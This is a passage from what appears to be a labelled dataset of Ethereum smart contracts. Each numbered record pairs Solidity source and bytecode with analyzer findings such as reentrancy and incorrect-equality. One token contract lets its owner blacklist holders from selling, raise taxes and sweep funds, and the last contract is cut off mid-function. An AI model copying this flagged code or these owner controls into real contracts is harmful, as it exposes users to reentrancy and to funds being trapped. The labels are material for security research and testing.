16040528060238152602001611dd9602391396117c9565b905060008463ffffffff1611801561168157506001600160a01b038516600090815260056020908152604080832063ffffffff6000198901811685529252909120548282169116145b156116e0576001600160a01b0385166000908152600560209081526040808320600019880163ffffffff168452909152902080546fffffffffffffffffffffffff000000001916600160201b6001600160601b0385160217905561177f565b60408051808201825263ffffffff80841682526001600160601b0380861660208085019182526001600160a01b038b166000818152600583528781208c871682528352878120965187549451909516600160201b026fffffffffffffffffffffffff000000001995871663ffffffff19958616179590951694909417909555938252600690935292909220805460018801909316929091169190911790555b846001600160a01b03167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a72484846040516117ba929190611da9565b60405180910390a25050505050565b600081600160201b841061117a5760405162461bcd60e51b815260040161060c9190611ae3565b604080518082019091526000808252602082015290565b80356001600160a01b038116811461043a57600080fd5b803560ff8116811461043a57600080fd5b600060208284031215611840578081fd5b610b158383611807565b6000806040838503121561185c578081fd5b6118668484611807565b91506118758460208501611807565b90509250929050565b600080600060608486031215611892578081fd5b833561189d81611dc3565b925060208401356118ad81611dc3565b929592945050506040919091013590565b600080600080600080600060e0888a0312156118d8578283fd5b6118e28989611807565b96506118f18960208a01611807565b9550604088013594506060880135935061190e8960808a0161181e565b925060a0880135915060c0880135905092959891949750929550565b6000806040838503121561193c578182fd5b6119468484611807565b946020939093013593505050565b60008060008060008060c0878903121561196c578182fd5b6119768888611807565b95506020870135945060408701359350611993886060890161181e565b92506080870135915060a087013590509295509295509295565b600080604083850312156119bf578182fd5b6119c98484611807565b9150602083013563ffffffff811681146119e1578182fd5b809150509250929050565b61190160f01b81526002810192909252602282015260420190565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b901515815260200190565b90815260200190565b9586526001600160a01b0394851660208701529290931660408501526060840152608083019190915260a082015260c00190565b9384526001600160a01b039290921660208401526040830152606082015260800190565b938452602084019290925260408301526001600160a01b0316606082015260800190565b93845260ff9290921660208401526040830152606082015260800190565b6000602080835283518082850152825b81811015611b0f57858101830151858201604001528201611af3565b81811115611b205783604083870101525b50601f01601f1916929092016040019392505050565b6020808252601f908201527f54726962653a206f6e6c7920746865206d696e7465722063616e206d696e7400604082015260600190565b6020808252602a908201527f54726962653a2063616e6e6f74207472616e7366657220746f20746865207a65604082015269726f206164647265737360b01b606082015260800190565b60208082526018908201527f54726962653a207369676e617475726520657870697265640000000000000000604082015260600190565b6020808252602c908201527f54726962653a2063616e6e6f74207472616e736665722066726f6d207468652060408201526b7a65726f206164647265737360a01b606082015260800190565b602080825260139082015272151c9a58994e881d5b985d5d1a1bdc9a5e9959606a1b604082015260600190565b60208082526018908201527f54726962653a20696e76616c6964207369676e61747572650000000000000000604082015260600190565b60208082526014908201527354726962653a20696e76616c6964206e6f6e636560601b604082015260600190565b60208082526034908201527f54726962653a206f6e6c7920746865206d696e7465722063616e206368616e676040820152736520746865206d696e746572206164647265737360601b606082015260800190565b60208082526019908201527f54726962653a206e6f74207965742064657465726d696e656400000000000000604082015260600190565b63ffffffff91909116815260200190565b63ffffffff9290921682526001600160601b0316602082015260400190565b60ff91909116815260200190565b6001600160601b0391909116815260200190565b6001600160601b0392831681529116602082015260400190565b6001600160a01b03811681146107e357600080fdfe54726962653a20626c6f636b206e756d6265722065786365656473203332206269747354726962653a20746f74616c537570706c792065786365656473203936206269747354726962653a207472616e7366657220616d6f756e742065786365656473207370656e64657220616c6c6f77616e636554726962653a207472616e7366657220616d6f756e7420657863656564732062616c616e636554726962653a20616d6f756e7420657863656564732039362062697473000000a2646970667358221220c678a0ffebb4129e0666159a8fb8b6c0e7d1d708941886776635396fb6c2780564736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
1,732
0x024bd1962080d524e13f83fb184934d305e14817
/** *Submitted for verification at Etherscan.io on 2022-03-08 */ /* Website v1: www.johnnybravocoin.com Telegram: https://t.me/johnnybravogroup Twitter: https://twitter.com/Jonnybravotoken */ // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract johnnybravotoken is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10_000_000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; uint256 private _sellTax; uint256 private _buyTax; address payable private _feeAddress; string private constant _name = "Johnny Bravo"; string private constant _symbol = "JOHNNY"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private removeMaxTx = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddress = payable(0x9762a8F2191865f7e66e181F4eE6cf3dcDD8F935); _buyTax = 12; _sellTax = 12; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setremoveMaxTx(bool onoff) external onlyOwner() { removeMaxTx = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from]); if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to] ) { _feeAddr1 = 0; _feeAddr2 = _buyTax; if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) { require(amount <= _maxTxAmount); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = _sellTax; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddress.transfer(amount); } function createPair() external onlyOwner(){ require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); } function openTrading() external onlyOwner() { _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; removeMaxTx = true; _maxTxAmount = 100_000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() public onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() public onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { if (maxTxAmount > 100_000 * 10**9) { _maxTxAmount = maxTxAmount; } } function _setSellTax(uint256 sellTax) external onlyOwner() { if (sellTax < 30) { _sellTax = sellTax; } } function setBuyTax(uint256 buyTax) external onlyOwner() { if (buyTax < 30) { _buyTax = buyTax; } } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a14610349578063c3c8cd8014610369578063c9567bf91461037e578063dbe8272c14610393578063dc1052e2146103b3578063dd62ed3e146103d357600080fd5b8063715018a6146102a85780638da5cb5b146102bd57806395d89b41146102e55780639e78fb4f14610314578063a9059cbb1461032957600080fd5b806323b872dd116100f257806323b872dd14610217578063273123b714610237578063313ce567146102575780636fc3eaec1461027357806370a082311461028857600080fd5b8063013206211461013a57806306fdde031461015c578063095ea7b3146101a357806318160ddd146101d35780631bbae6e0146101f757600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061015a610155366004611871565b610419565b005b34801561016857600080fd5b5060408051808201909152600c81526b4a6f686e6e7920427261766f60a01b60208201525b60405161019a91906118ee565b60405180910390f35b3480156101af57600080fd5b506101c36101be36600461177f565b61046a565b604051901515815260200161019a565b3480156101df57600080fd5b50662386f26fc100005b60405190815260200161019a565b34801561020357600080fd5b5061015a6102123660046118a9565b610481565b34801561022357600080fd5b506101c361023236600461173f565b6104c2565b34801561024357600080fd5b5061015a6102523660046116cf565b61052b565b34801561026357600080fd5b506040516009815260200161019a565b34801561027f57600080fd5b5061015a610576565b34801561029457600080fd5b506101e96102a33660046116cf565b6105aa565b3480156102b457600080fd5b5061015a6105cc565b3480156102c957600080fd5b506000546040516001600160a01b03909116815260200161019a565b3480156102f157600080fd5b506040805180820190915260068152654a4f484e4e5960d01b602082015261018d565b34801561032057600080fd5b5061015a610640565b34801561033557600080fd5b506101c361034436600461177f565b61087f565b34801561035557600080fd5b5061015a6103643660046117aa565b61088c565b34801561037557600080fd5b5061015a610930565b34801561038a57600080fd5b5061015a610970565b34801561039f57600080fd5b5061015a6103ae3660046118a9565b610b34565b3480156103bf57600080fd5b5061015a6103ce3660046118a9565b610b6c565b3480156103df57600080fd5b506101e96103ee366004611707565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b0316331461044c5760405162461bcd60e51b815260040161044390611941565b60405180910390fd5b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000610477338484610ba4565b5060015b92915050565b6000546001600160a01b031633146104ab5760405162461bcd60e51b815260040161044390611941565b655af3107a40008111156104bf5760108190555b50565b60006104cf848484610cc8565b610521843361051c85604051806060016040528060288152602001611abf602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610fbf565b610ba4565b5060019392505050565b6000546001600160a01b031633146105555760405162461bcd60e51b815260040161044390611941565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105a05760405162461bcd60e51b815260040161044390611941565b476104bf81610ff9565b6001600160a01b03811660009081526002602052604081205461047b90611033565b6000546001600160a01b031633146105f65760405162461bcd60e51b815260040161044390611941565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461066a5760405162461bcd60e51b815260040161044390611941565b600f54600160a01b900460ff16156106c45760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610443565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b15801561072457600080fd5b505afa158015610738573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061075c91906116eb565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107a457600080fd5b505afa1580156107b8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107dc91906116eb565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561082457600080fd5b505af1158015610838573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061085c91906116eb565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b6000610477338484610cc8565b6000546001600160a01b031633146108b65760405162461bcd60e51b815260040161044390611941565b60005b815181101561092c576001600660008484815181106108e857634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061092481611a54565b9150506108b9565b5050565b6000546001600160a01b0316331461095a5760405162461bcd60e51b815260040161044390611941565b6000610965306105aa565b90506104bf816110b7565b6000546001600160a01b0316331461099a5760405162461bcd60e51b815260040161044390611941565b600e546109b99030906001600160a01b0316662386f26fc10000610ba4565b600e546001600160a01b031663f305d71947306109d5816105aa565b6000806109ea6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a4d57600080fd5b505af1158015610a61573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a8691906118c1565b5050600f8054655af3107a400060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610afc57600080fd5b505af1158015610b10573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104bf919061188d565b6000546001600160a01b03163314610b5e5760405162461bcd60e51b815260040161044390611941565b601e8110156104bf57600b55565b6000546001600160a01b03163314610b965760405162461bcd60e51b815260040161044390611941565b601e8110156104bf57600c55565b6001600160a01b038316610c065760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610443565b6001600160a01b038216610c675760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610443565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d2c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610443565b6001600160a01b038216610d8e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610443565b60008111610df05760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610443565b6001600160a01b03831660009081526006602052604090205460ff1615610e1657600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610e5857506001600160a01b03821660009081526005602052604090205460ff16155b15610faf576000600955600c54600a55600f546001600160a01b038481169116148015610e935750600e546001600160a01b03838116911614155b8015610eb857506001600160a01b03821660009081526005602052604090205460ff16155b8015610ecd5750600f54600160b81b900460ff165b15610ee157601054811115610ee157600080fd5b600f546001600160a01b038381169116148015610f0c5750600e546001600160a01b03848116911614155b8015610f3157506001600160a01b03831660009081526005602052604090205460ff16155b15610f42576000600955600b54600a555b6000610f4d306105aa565b600f54909150600160a81b900460ff16158015610f785750600f546001600160a01b03858116911614155b8015610f8d5750600f54600160b01b900460ff165b15610fad57610f9b816110b7565b478015610fab57610fab47610ff9565b505b505b610fba83838361125c565b505050565b60008184841115610fe35760405162461bcd60e51b815260040161044391906118ee565b506000610ff08486611a3d565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561092c573d6000803e3d6000fd5b600060075482111561109a5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610443565b60006110a4611267565b90506110b0838261128a565b9392505050565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061110d57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561116157600080fd5b505afa158015611175573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061119991906116eb565b816001815181106111ba57634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546111e09130911684610ba4565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611219908590600090869030904290600401611976565b600060405180830381600087803b15801561123357600080fd5b505af1158015611247573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610fba8383836112cc565b60008060006112746113c3565b9092509050611283828261128a565b9250505090565b60006110b083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611401565b6000806000806000806112de8761142f565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611310908761148c565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461133f90866114ce565b6001600160a01b0389166000908152600260205260409020556113618161152d565b61136b8483611577565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516113b091815260200190565b60405180910390a3505050505050505050565b6007546000908190662386f26fc100006113dd828261128a565b8210156113f857505060075492662386f26fc1000092509050565b90939092509050565b600081836114225760405162461bcd60e51b815260040161044391906118ee565b506000610ff084866119fe565b600080600080600080600080600061144c8a600954600a5461159b565b925092509250600061145c611267565b9050600080600061146f8e8787876115f0565b919e509c509a509598509396509194505050505091939550919395565b60006110b083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fbf565b6000806114db83856119e6565b9050838110156110b05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610443565b6000611537611267565b905060006115458383611640565b3060009081526002602052604090205490915061156290826114ce565b30600090815260026020526040902055505050565b600754611584908361148c565b60075560085461159490826114ce565b6008555050565b60008080806115b560646115af8989611640565b9061128a565b905060006115c860646115af8a89611640565b905060006115e0826115da8b8661148c565b9061148c565b9992985090965090945050505050565b60008080806115ff8886611640565b9050600061160d8887611640565b9050600061161b8888611640565b9050600061162d826115da868661148c565b939b939a50919850919650505050505050565b60008261164f5750600061047b565b600061165b8385611a1e565b90508261166885836119fe565b146110b05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610443565b80356116ca81611a9b565b919050565b6000602082840312156116e0578081fd5b81356110b081611a9b565b6000602082840312156116fc578081fd5b81516110b081611a9b565b60008060408385031215611719578081fd5b823561172481611a9b565b9150602083013561173481611a9b565b809150509250929050565b600080600060608486031215611753578081fd5b833561175e81611a9b565b9250602084013561176e81611a9b565b929592945050506040919091013590565b60008060408385031215611791578182fd5b823561179c81611a9b565b946020939093013593505050565b600060208083850312156117bc578182fd5b823567ffffffffffffffff808211156117d3578384fd5b818501915085601f8301126117e6578384fd5b8135818111156117f8576117f8611a85565b8060051b604051601f19603f8301168101818110858211171561181d5761181d611a85565b604052828152858101935084860182860187018a101561183b578788fd5b8795505b8386101561186457611850816116bf565b85526001959095019493860193860161183f565b5098975050505050505050565b600060208284031215611882578081fd5b81356110b081611ab0565b60006020828403121561189e578081fd5b81516110b081611ab0565b6000602082840312156118ba578081fd5b5035919050565b6000806000606084860312156118d5578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b8181101561191a578581018301518582016040015282016118fe565b8181111561192b5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156119c55784516001600160a01b0316835293830193918301916001016119a0565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156119f9576119f9611a6f565b500190565b600082611a1957634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611a3857611a38611a6f565b500290565b600082821015611a4f57611a4f611a6f565b500390565b6000600019821415611a6857611a68611a6f565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104bf57600080fd5b80151581146104bf57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c573f57d2b475c551f654758eef94f50b1c58f69811850b9b663a5bab134fc6564736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
1,733
0xcc6cc2f648686af73d1efbe7f9b7e4ae3566652a
pragma solidity ^0.4.19; library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ETH10K { using SafeMath for uint256; uint8 private constant MAX_COLS = 64; uint8 private constant MAX_ROWS = 160; uint8 private Reserved_upRow = 8; uint8 private Reserved_downRow = 39; uint8 private max_merge_size = 2; event Bought (uint256 indexed _itemId, address indexed _owner, uint256 _price); event Sold (uint256 indexed _itemId, address indexed _owner, uint256 _price); event Transfer(address indexed _from, address indexed _to, uint256 _tokenId); event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId); address private owner; mapping (address => bool) private admins; bool private erc721Enabled = false; bool private mergeEnabled = false; uint256 private increaseLimit1 = 0.02 ether; uint256 private increaseLimit2 = 0.5 ether; uint256 private increaseLimit3 = 2.0 ether; uint256 private increaseLimit4 = 5.0 ether; uint256 private startingPrice = 0.001 ether; uint256[] private listedItems; mapping (uint256 => address) private ownerOfItem; mapping (uint256 => uint256) private priceOfItem; mapping (address => string) private usernameOfAddress; function ETH10K () public { owner = msg.sender; admins[owner] = true; } /* Modifiers */ modifier onlyOwner() { require(owner == msg.sender); _; } modifier onlyAdmins() { require(admins[msg.sender]); _; } modifier onlyERC721() { require(erc721Enabled); _; } modifier onlyMergeEnable(){ require(mergeEnabled); _; } /* Owner */ function setOwner (address _owner) onlyOwner() public { owner = _owner; } function addAdmin (address _admin) onlyOwner() public { admins[_admin] = true; } function removeAdmin (address _admin) onlyOwner() public { delete admins[_admin]; } // Unlocks ERC721 behaviour, allowing for trading on third party platforms. function enableERC721 () onlyOwner() public { erc721Enabled = true; } function enableMerge (bool status) onlyAdmins() public { mergeEnabled = status; } function setReserved(uint8 _up,uint8 _down) onlyAdmins() public{ Reserved_upRow = _up; Reserved_downRow = _down; } function setMaxMerge(uint8 num)onlyAdmins() external{ max_merge_size = num; } /* Withdraw */ /* */ function withdrawAll () onlyOwner() public { require(this.balance > 0); owner.transfer(this.balance); } function withdrawAmount (uint256 _amount) onlyOwner() public { owner.transfer(_amount); } /* Buying */ function calculateNextPrice (uint256 _price) public view returns (uint256 _nextPrice) { if (_price < increaseLimit1) { return _price.mul(200).div(95); } else if (_price < increaseLimit2) { return _price.mul(135).div(96); } else if (_price < increaseLimit3) { return _price.mul(125).div(97); } else if (_price < increaseLimit4) { return _price.mul(117).div(97); } else { return _price.mul(115).div(98); } } function calculateDevCut (uint256 _price) public view returns (uint256 _devCut) { if (_price < increaseLimit1) { return _price.mul(5).div(100); // 5% } else if (_price < increaseLimit2) { return _price.mul(4).div(100); // 4% } else if (_price < increaseLimit3) { return _price.mul(3).div(100); // 3% } else if (_price < increaseLimit4) { return _price.mul(3).div(100); // 3% } else { return _price.mul(2).div(100); // 2% } } function requestMerge(uint256[] ids)onlyMergeEnable() external { require(ids.length == 4); require(ids[0]%(10**8)/(10**4)<max_merge_size); require(ids[1]%(10**8)/(10**4)<max_merge_size); require(ids[2]%(10**8)/(10**4)<max_merge_size); require(ids[3]%(10**8)/(10**4)<max_merge_size); require(ownerOfItem[ids[0]] == msg.sender); require(ownerOfItem[ids[1]] == msg.sender); require(ownerOfItem[ids[2]] 